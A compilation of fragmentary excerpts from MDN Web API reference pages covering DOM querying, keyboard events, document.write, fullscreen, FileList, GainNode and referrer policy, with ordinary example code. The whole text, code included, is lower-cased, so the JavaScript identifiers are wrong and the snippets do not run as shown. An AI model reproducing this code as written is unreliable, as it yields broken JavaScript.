...elems();"> show all p elements in document</button><br /> <button onclick="div1paraelems();"> show all p elements in div1 element</button><br /> <button onclick="div2paraelems();"> show all p elements in div2 element</button> </body> </html> notes when called on an html document, getelementsbytagname() lower-cases its argument before proceeding.
Document.getElementsByTagNameNS() - Web APIs
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaelems() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " &lt;p&gt; elements in this document"); } function div1paraelems() { var div1 = document.getelementb...
...yid("div1") var div1paras = div1.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div1paras.length; alert("there are " + num + " &lt;p&gt; elements in div1 element"); } function div2paraelems() { var div2 = document.getelementbyid("div2") var div2paras = div2.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div2paras.length; alert("there are " + num + " &lt;p&gt; elements in div2 element"); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> <...
.../div> </div> <p>some outer text</p> <p>some outer text</p> <button onclick="getallparaelems();"> show all p elements in document</button><br /> <button onclick="div1paraelems();"> show all p elements in div1 element</button><br /> <button onclick="div2paraelems();"> show all p elements in div2 element</button> </body> </html> potential workaround for other browsers which do not support if the desired browser did not support xpath, another approach (such as traversing the dom through all its children, identifying all @xmlns instances, etc.) would be necessary to find all tags with the desired local name and namespace, but xpath is much faster.
... (to accommodate explorer, one could call an xpath wrapper instead of the xpath in the function below (as explorer supports xpath with a different api), such as this wrapper class.) function getelementsbytagnamenswrapper (ns, elname, doc, context) { if (!doc) { doc = document; } if (!context) { context = doc; } var result = doc.evaluate('//*[local-name()="'+elname+'" and namespace-uri() = "'+ns+'"]', context, null, xpathresult.ordered_node_snapshot_type, null); var a = []; for(var i = 0; i < result.snapshotlength; i++) { a[i] = result.snapshotitem(i); } return a; } specifications specification status comment domthe definition of 'document.getelementsbytagnamens' in that specification.
Document: keydown event - Web APIs
for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
...to ignore all keydown events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keydown", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples addeventlistener keydown example this example logs the keyboardevent.code value whenever you press down a key.
...by clicking in it), then try pressing some keys.</p> <p id="log"></p> document.addeventlistener('keydown', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeydown equivalent document.onkeydown = logkey; specifications specification status ui events working draft ...
Document: keyup event - Web APIs
for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
...to ignore all keyup events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keyup", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples this example logs the keyboardevent.code value whenever you release a key.
...by clicking in it), then try pressing some keys.</p> <p id="log"></p> const log = document.getelementbyid('log'); document.addeventlistener('keyup', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeyup equivalent document.onkeyup = logkey; specifications specification status ui events working draft ...
Document.querySelector() - Web APIs
escaping special characters to match against an id or selectors that do not follow standard css syntax (by using a colon or space inappropriately, for example), you must escape the character with a backslash ("\").
... as the backslash is also an escape character in javascript, if you are entering a literal string, you must escape it twice (once for the javascript string, and another time for queryselector()): <div id="foo\bar"></div> <div id="foo:bar"></div> <script> console.log('#foo\bar'); // "#fooar" (\b is the backspace control character) document.queryselector('#foo\bar'); // does not match anything console.log('#foo\\bar'); // "#foo\bar" console.log('#foo\\\\bar'); // "#foo\\bar" document.queryselector('#foo\\\\bar'); // match the first div document.queryselector('#foo:bar'); // does not match anything document.queryselector('#foo\\:bar'); // match the second div </script> examples finding the first element matching a class in this ...
...example, the first element in the document with the class "myclass" is returned: var el = document.queryselector(".myclass"); a more complex selector selectors can also be really powerful, as demonstrated in the following example.
... here, the first <input> element with the name "login" (<input name="login"/>) located inside a <div> whose class is "user-panel main" (<div class="user-panel main">) in the document is returned: var el = document.queryselector("div.user-panel.main input[name='login']"); negation as all css selector strings are valid, you can also negate selectors: var el = document.queryselector("div.user-panel:not(.main) input[name='login']"); this will select an input with a parent div with the user-panel class but not the main class.
Document.querySelectorAll() - Web APIs
examples obtaining a list of matches to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose immediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test.
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array.
...you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
Document.readyState - Web APIs
examples different states of readiness switch (document.readystate) { case "loading": // the document is still loading.
... break; case "interactive": // the document has finished loading.
... var span = document.createelement("span"); span.textcontent = "a <span> element."; document.body.appendchild(span); break; case "complete": // the page is fully loaded.
... console.log("the first css rule is: " + document.stylesheets[0].cssrules[0].csstext); break; } readystatechange as an alternative to domcontentloaded event // alternative to domcontentloaded event document.onreadystatechange = function () { if (document.readystate === 'interactive') { initapplication(); } } readystatechange as an alternative to load event // alternative to load event document.onreadystatechange = function () { if (document.readystate === 'complete') { initapplication(); } } readystatechange as event listener to insert or modify the dom before domcontentloaded document.addeventlistener('readystatechange', event => { if (event.target.readystate === 'interactive') { initloader(); } else if (event.target.readystate === 'complete') { ...
Document.write() - Web APIs
WebAPIDocumentwrite
example <html> <head> <title>write example</title> <script> function newcontent() { document.open(); document.write("<h1>out with the old, in with the new!</h1>"); document.close(); } </script> </head> <body onload="newcontent();"> <p>some original document content.</p> </body> </html> notes the text you write is parsed into the document's structure model.
...for example: <script> document.write("<h1>main title</h1>") </script> note: document.write() and document.writeln do not work in xhtml documents (you'll get an "operation is not supported" [ns_error_dom_not_supported_err] error in the error console).
... note: using document.write() in deferred or asynchronous scripts will be ignored and you'll get a message like "a call to document.write() from an asynchronously-loaded external script was ignored" in the error console.
... note: in edge only, calling document.write() more than once in an <iframe> causes the error "script70: permission denied".
DocumentFragment - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4d...
...de4"/><a xlink:href="/docs/web/api/documentfragment" target="_top"><rect x="266" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documentfragment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor documentfragment() creates and returns a new documentfragment object.
... example html <ul id="list"></ul> javascript var list = document.queryselector('#list') var fruits = ['apple', 'orange', 'banana', 'melon'] var fragment = new documentfragment() fruits.foreach(function (fruit) { var li = document.createelement('li') li.innerhtml = fruit fragment.appendchild(li) }) list.appendchild(fragment) result specifications specification status comment ...
DocumentOrShadowRoot.activeElement - Web APIs
other times the focused element might be a <select> element (menu) or an <input> element, of type "button", "checkbox", or "radio".
... example html <p>select some text from one of the text areas below:</p> <form> <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">this is text area one.
...donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea> <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">this is text area two.
...morbi sed euismod diam.</textarea> </form> <p>active element id: <b id="output-element"></b></p> <p>selected text: <b id="output-text"></b></p> javascript function onmouseup(e) { const activetextarea = document.activeelement; const selection = activetextarea.value.substring( activetextarea.selectionstart, activetextarea.selectionend ); const outputelement = document.getelementbyid('output-element'); const outputtext = document.getelementbyid('output-text'); outputelement.innerhtml = activetextarea.id; outputtext.innerhtml = selection; } const textarea1 = document.getelementbyid('ta-example-one'); const textarea2 = document.getelementbyid('ta-example-two'); ...
Element.attributes - Web APIs
syntax var attr = element.attributes; example basic examples // get the first <p> element in the document var para = document.getelementsbytagname("p")[0]; var atts = para.attributes; enumerating elements attributes numerical indexing is useful for going through all of an element's attributes.
... the following example runs through the attribute nodes for the element in the document with id "paragraph", and prints each attribute's value.
... <!doctype html> <html> <head> <title>attributes example</title> <script type="text/javascript"> function listattributes() { var paragraph = document.getelementbyid("paragraph"); var result = document.getelementbyid("result"); // first, let's verify that the paragraph has some attributes if (paragraph.hasattributes()) { var attrs = paragraph.attributes; var output = ""; for(var i = attrs.length - 1; i >= 0; i--) { output += attrs[i].name + "->" + attrs[i].value; } result.value = output; } else { result.value = "no attributes to show"; } } </script> </head> <body> <p id="paragraph" style="color: green;">sample paragraph</p> <form action=""> <p> <input type="button" value="show first at...
...tribute name and value" onclick="listattributes();"> <input id="result" type="text" value=""> </p> </form> </body> </html> specifications specification status comment domthe definition of 'element.attributes' in that specification.
Element: keyup event - Web APIs
for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
...to ignore all keyup events that are part of composition, do something like this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keyup", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples addeventlistener keyup example this example logs the keyboardevent.code value whenever you release a key inside the <input> element.
... <input placeholder="click here, then press and release a key." size="40"> <p id="log"></p> const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.addeventlistener('keyup', logkey); function logkey(e) { log.textcontent += ` ${e.code}`; } onkeyup equivalent input.onkeyup = logkey; specifications specification status ui events working draft ...
Element.outerHTML - Web APIs
WebAPIElementouterHTML
examples getting the value of an element's outerhtml property: html <div id="d"> <p>content</p> <p>further elaborated</p> </div> javascript var d = document.getelementbyid("d"); console.log(d.outerhtml); // the string '<div id="d"><p>content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">this is a div.</div> </div> javascript var container = doc...
...ument.getelementbyid("container"); var d = document.getelementbyid("d"); console.log(container.firstchild.nodename); // logs "div" d.outerhtml = "<p>this paragraph replaced the original div.</p>"; console.log(container.firstchild.nodename); // logs "p" // the #d div is no longer part of the document tree, // the new paragraph replaced it.
...for example: var div = document.createelement("div"); div.outerhtml = "<div class=\"test\">test</div>"; console.log(div.outerhtml); // output: "<div></div>" also, while the element will be replaced in the document, the variable whose outerhtml property was set will still hold a reference to the original element: var p = document.getelementsbytagname("p")[0]; console.log(p.nodename); // shows: "p" p.outerhtml = "<div>this div replaced a paragraph.</div>"; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.o...
...rg?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&amp;c=d'></a>" specification specification status comment dom parsing and serializationthe definition of 'element.outerhtml' in that specification.
Element.requestFullscreen() - Web APIs
the default value is "auto", which indicates that the browser should decide what to do.
... the element is not permitted to use the "fullscreen" feature, either because of feature policy configuration or other access control features.
... additionally, of course, the feature policy "fullscreen" permission must be granted.
... function togglefullscreen() { let elem = document.queryselector("video"); if (!document.fullscreenelement) { elem.requestfullscreen().catch(err => { alert(`error attempting to enable full-screen mode: ${err.message} (${err.name})`); }); } else { document.exitfullscreen(); } } if the document isn't already in full-screen mode—detected by looking to see if document.fullscreenelement has a value—we call the video's requestfullscreen()...
Element.scrollHeight - Web APIs
for example: html <form name="registration"> <p> <textarea id="rules">lorem ipsum dolor sit amet, consectetur adipiscing elit.
... </textarea> </p> <p> <input type="checkbox" id="agree" name="accept" /> <label for="agree">i agree</label> <input type="submit" id="nextstep" value="next" /> </p> </form> css #notice { display: inline-block; margin-bottom: 12px; border-radius: 5px; width: 600px; padding: 5px; border: 2px #7fdf55 solid; } #rules { width: 600px; height: 130px; padding: 5px; border: #2a9f00 solid 2px; border-radius:...
... 5px; } javascript function checkreading () { if (checkreading.read) { return; } checkreading.read = this.scrollheight - this.scrolltop === this.clientheight; document.registration.accept.disabled = document.getelementbyid("nextstep").disabled = !checkreading.read; checkreading.noticebox.innerhtml = checkreading.read ?
... "thank you." : "please, scroll and read the following text."; } onload = function () { var otoberead = document.getelementbyid("rules"); checkreading.noticebox = document.createelement("span"); document.registration.accept.checked = false; checkreading.noticebox.id = "notice"; otoberead.parentnode.insertbefore(checkreading.noticebox, otoberead); otoberead.parentnode.insertbefore(document.createelement("br"), otoberead); otoberead.onscroll = checkreading; checkreading.call(otoberead); } specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollheight' in that specification.
Element.setAttribute() - Web APIs
boolean attributes are considered to be true if they're present on the element at all, regardless of their actual value; as a rule, you should specify the empty string ("") in value (some people use the attribute's name; this works but is non-standard).
...instead of removing the attribute or setting its value to be null, it instead sets the attribute's value to the string "null".
... html <button>hello world</button> javascript var b = document.queryselector("button"); b.setattribute("name", "hellobutton"); b.setattribute("disabled", ""); this demonstrates two things: the first call to setattribute() above shows changing the name attribute's value to "hellobutton".
...by setting the value of the disabled attribute to the empty string (""), we are setting disabled to true, which results in the button being disabled.
ElementCSSInlineStyle.style - Web APIs
setting styles styles should not be set by assigning a string directly to the style property (as in elt.style = "color: blue;"), since it is considered read-only, as the style attribute returns a cssstyledeclaration object which is also read-only.
... examples // set multiple styles in a single statement elt.style.csstext = "color: blue; border: 1px solid black"; // or elt.setattribute("style", "color:red; border: 1px solid blue;"); // set specific style while leaving other inline style values untouched elt.style.color = "blue"; getting style information the style property is not useful for completely learning about the styles applied on the element, since it represents only the css declarations set in the element...
... the following code snippet demonstrates the difference between the values obtained using the element's style property and that obtained using the getcomputedstyle() method: <!doctype html> <html> <body style="font-weight:bold;"> <div style="color:red" id="myelement">..</div> </body> </html> var element = document.getelementbyid("myelement"); var out = ""; var elementstyle = element.style; var computedstyle = window.getcomputedstyle(element, null); for (prop in elementstyle) { if (elementstyle.hasownproperty(prop)) { out += " " + prop + " = '" + elementstyle[prop] + "' > '" + computedsty...
...le[prop] + "'\n"; } } console.log(out) the output would be something like: ...
Comparison of Event Targets - Web APIs
examples <!doctype html> <html> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>comparison of event targets</title> <style> table { border-collapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .sta...
...ndard { background-color: #99ff99; } .non-standard { background-color: #902d37; } </style> </head> <body> <table> <thead> <tr> <td class="standard">original target dispatching the event <small>event.target</small></td> <td class="standard">target who's event listener is being processed <small>event.currenttarget</small></td> <td class="standard">identify other element (if any) involved in the event <small>event.relatedtarget</small></td> <td class="non-standard">if there was a retargetting of the event for some reason <small> event.explicitoriginaltarget</small> contains the target before retargetting (never contains anonymous targets)</td> <td class="non-standard"...
...>if there was a retargetting of the event for some reason <small> event.originaltarget</small> contains the target before retargetting (may contain anonymous targets)</td> </tr> </thead> <tr> <td id="target"></td> <td id="currenttarget"></td> <td id="relatedtarget"></td> <td id="explicitoriginaltarget"></td> <td id="originaltarget"></td> </tr> </table> <p>clicking on the text will show the difference between explicitoriginaltarget, originaltarget, and target</p> <script> function handleclicks(e) { document.getelementbyid('target').innerhtml = e.target; document.getelementbyid('currenttarget').innerhtml = e.currenttarget; document.getelementbyid('relatedtarget').innerhtml = e.relatedtarget; docume...
... example <hbox id="outer"> <hbox id="inner" onmouseover="dump('mouseover ' + event.relatedtarget.id + ' > ' + event.target.id + '\n');" onmouseout="dump('mouseout ' + event.target.id + ' > ' + event.relatedtarget.id + '\n');" style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" /> </hbox> ...
Event.msConvertURL() - Web APIs
targettype [in] type: domstring one of the following values indicating the desired conversion type: "specified", "base64", or "unchanged".
... example var bloblist = []; document.getelementbyid("pastezone").addeventlistener('paste', handlepaste, false); function handlepaste(evt) { var filelist = window.clipboarddata.files; // note that window.datatransfer.files is not applicable.
... if (!filelist) { console.log("filelist is null."); return; } for (var i = 0; i < filelist.length; i++) { var file = filelist[i]; var url = url.createobjecturl(file); if (evt.converturl) { // use standard if available.
... evt.converturl(file, "specified", url); } else { evt.msconverturl(file, "specified", url); } console.log("local file: " + file.name + " (" + file.size + ")"); bloblist.push(file); } // for } // handlepaste see also microsoft api extensions ...
Event - Web APIs
WebAPIEvent
many dom elements can be set up to accept (or "listen" for) these events, and execute code in response to process (or "handle") them.
... event-handlers are usually connected (or "attached") to various html elements (such as <button>, <div>, <span>, etc.) using eventtarget.addeventlistener(), and this generally replaces using the old html event handler attributes.
...(for example, a webpage with an advertising-module and statistics-module both monitoring video-watching.) when there are many nested elements, each with its own handler(s), event processing can become very complicated—especially where a parent element receives the very same event as its child elements because "spatially" they overlap so the event technically occurs in both, and the processing order of such events depends on the event bubbling and capture settings of each handler triggered.
... note that all event interfaces have names which end in "event".
EventSource - Web APIs
the issue has been marked as "won't fix" in chrome and firefox.
... var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } each received event causes our eventsource object's onmessage event handler to be run.
... const sse = new eventsource('/api/v1/sse'); /* this will listen only for events * similar to the following: * * event: notice * data: useful data * id: someid * */ sse.addeventlistener("notice", function(e) { console.log(e.data) }) /* similarly, this will listen for events * with the field `event: update` */ sse.addeventlistener("update", function(e) { console.log(e.data) }) /* the event "message" is a special case, as it * will capture events without an event field * as well as events that have the specific type * `event: message` it will not t...
... */ sse.addeventlistener("message", function(e) { console.log(e.data) }) specifications specification status html living standardthe definition of 'eventsource' in that specification.
FileList - Web APIs
WebAPIFileList
an object of this type is returned by the files property of the html <input> element; this lets you access the list of files selected with the <input type="file"> element.
...for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type description length integer a read-only value indicating the number of files in the list.
... example this example iterates over all the files selected by the user using an input element: // fileinput is an html input element: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; var file; // loop through files for (var i = 0; i < files.length; i++) { // get item file = files.item(i); //or file = files[i]; alert(file.name); } here is a complete example.
... <!doctype html> <html> <head> </head> <body> <!--multiple is set to allow multiple files to be selected--> <input id="myfiles" multiple type="file"> </body> <script> var pullfiles=function(){ // love the query selector var fileinput = document.queryselector("#myfiles"); var files = fileinput.files; // cache files.length var fl = files.length; var i = 0; while ( i < fl) { // localize file var in the loop var file = files[i]; alert(file.name); i++; } } // set the input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </script> </html> specifications specification status comment file apithe definition of 'filelist' in that specification.
FileHandle API - Web APIs
var idbreq = indexeddb.open("myfilestoragedatabase"); idbreq.onsuccess = function(){ var db = this.result; var buildhandle = db.mozcreatefilehandle("test.txt", "plain/text"); buildhandle.onsuccess = function(){ var myfilehandle = this.result; console.log('handle', myfilehandle); }; }; mozcreatefilehandle() takes two arguments: a name and an optional type.
... note: the above code only creates a "temporary file" that exists only while you hold the filehandle instance.
...(1000000000); action.onprogress = function (event) { if (progress) { progress.value = event.loaded; progress.max = event.total; } } action.onsuccess = function () { console.log('yeah \o/ just read a 1gb file'); } action.onerror = function () { console.log('oups :( unable to read a 1gb file') } file storage when a file handle is created, the associated file only exists as a "temporary file" as long as you hold the filehandle instance.
... var idbreq = window.indexeddb.open('myfilestoragedatabase'); // if necessary, let's create a datastore for the files idbreq.onupgradeneeded = function () { this.result.createobjectstore('files'); } idbreq.onsuccess = function () { var db = this.result; // let's create a new file var handlereq = db.mozcreatefilehandle("test.txt", "plain/text"); handlereq.onsuccess = function () { var myfilehandle = this.result; var store = db.transaction(['files'], 'readwrite').objectstore('files'); // let's store the file permanently // hint: it could be handy to use the file name as the storage key var storereq = store.add(myfilehandle, myfilehandle.name); storereq.onsuccess = function () { c...
Guide to the Fullscreen API - Web APIs
let's consider this <video> element: <video controls id="myvideo"> <source src="somevideo.webm"></source> <source src="somevideo.mp4"></source> </video> we can put that video into full-screen mode as follows: var elem = document.getelementbyid("myvideo"); if (elem.requestfullscreen) { elem.requestfullscreen(); } this code checks for the existence of the requestfullscreen() method before calling it.
... presentation differences it's worth noting a key difference here between the gecko and webkit implementations at this time: gecko automatically adds css rules to the element to stretch it to fill the screen: "width: 100%; height: 100%".
...to get the same fullscreen behavior in webkit, you need to add your own "width: 100%; height: 100%;" css rules to the element yourself: #myvideo:-webkit-full-screen { width: 100%; height: 100%; } on the other hand, if you're trying to emulate webkit's behavior on gecko, you need to place the element you want to present inside another element, which you'll make fullscreen instead, and use css rules to adjust the inner element to match the appearance you want.
... document.addeventlistener("keydown", function(e) { if (e.keycode == 13) { togglefullscreen(); } }, false); toggling fullscreen mode this code is called when the user hits the enter key, as seen above.
GainNode - Web APIs
WebAPIGainNode
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor gainnode() creates a new instance of a gainnode object.
... the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(...
... mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute.
... gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gainnode' in that specification.
GlobalEventHandlers.onanimationcancel - Web APIs
example html <div class="main"> <div id="box" onanimationcancel="handlecancelevent(event);"> <div id="text">box</div> </div> </div> <div class="button" id="togglebox"> hide the box </div> <pre id="log"></pre> css :root { --boxwidth: 50px; } .main { width: 300px; height: 300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; te...
...xt-align: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... function log(msg, event) { let logbox = document.getelementbyid("log"); logbox.innerhtml += msg; if (event) { logbox.innerhtml += " <code>"+ event.animationname + "</code> at time " + event.elapsedtime.tofixed(2) + " seconds."; } logbox.innerhtml += "\n"; }; then we set up the handlecancelevent() function, which is called in response to the animationcancel event, as set up in the html above.
... function handlecancelevent(event) { log("animation canceled", event); }; then we add a method to handle toggle display between "flex" and "none" and establish it as the handler for a click event on the "hide/show" the box button: document.getelementbyid('togglebox').addeventlistener('click', function() { if (box.style.display == "none") { box.style.display = "flex"; document.getelementbyid("togglebox").innerhtml = "hide the box"; } else { box.style.display = "none"; document.getelementbyid("togglebox").innerhtml = "show the box"; } }); toggling the box to display: none has the effect of abort...
GlobalEventHandlers.ontransitioncancel - Web APIs
the transition is cancelled when: the value of the transition-property property that applies to the target is changed the display property is set to "none".
... <div class="box"></div> css the css below styles the box and applies a transition effect which makes the box's color and size change, and causes the box to rotate, while the mouse cursor hovers over it.
... .box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px; background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; -webkit-transition: width 2s, height 2s, background-color 2s, -webkit-transform 2s, color 2s; transition: width 2s, height 2s, background-color 2s, transform 2s, color 2s; } .box:hover { background-color: #ffcccc; color: #000000; width: 200px; height: 200px; -webkit-transform: rotate(180deg); transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text content of the box when the transition begins and ends.
... let box = document.queryselector(".box"); box.ontransitionrun = function(event) { box.innerhtml = "zooming..."; } box.ontransitionend = function(event) { box.innerhtml = "done!"; } box.onclick = function() { box.style.display = 'none'; timeout = window.settimeout(appear, 2000); function appear() { box.style.display = 'block'; } } box.ontransitioncancel = function(event) { console.log('transitioncancel fired after ' + event.elapsedtime + ' seconds.'); } result the resulting content looks like this: notice what happens when you hover your mouse cursor over the box, then move it away.
HTMLAnchorElement.referrerPolicy - Web APIs
syntax refstr = anchorelt.referrerpolicy; anchorelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.
... "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username).
... examples var elt = document.createelement("a"); var linktext = document.createtextnode("my link"); elt.appendchild(linktext); elt.href = "https://developer.mozilla.org/"; elt.referrerpolicy = "no-referrer"; var div = document.getelementbyid("divaround"); div.appendchild(elt); // when clicked, the link will not send a referrer header.
HTMLAnchorElement - Web APIs
this interface corresponds to <a> element; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="...
...2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api...
.../element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 49...
...1,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlanchorelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlanchorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils.
HTMLAreaElement.referrerPolicy - Web APIs
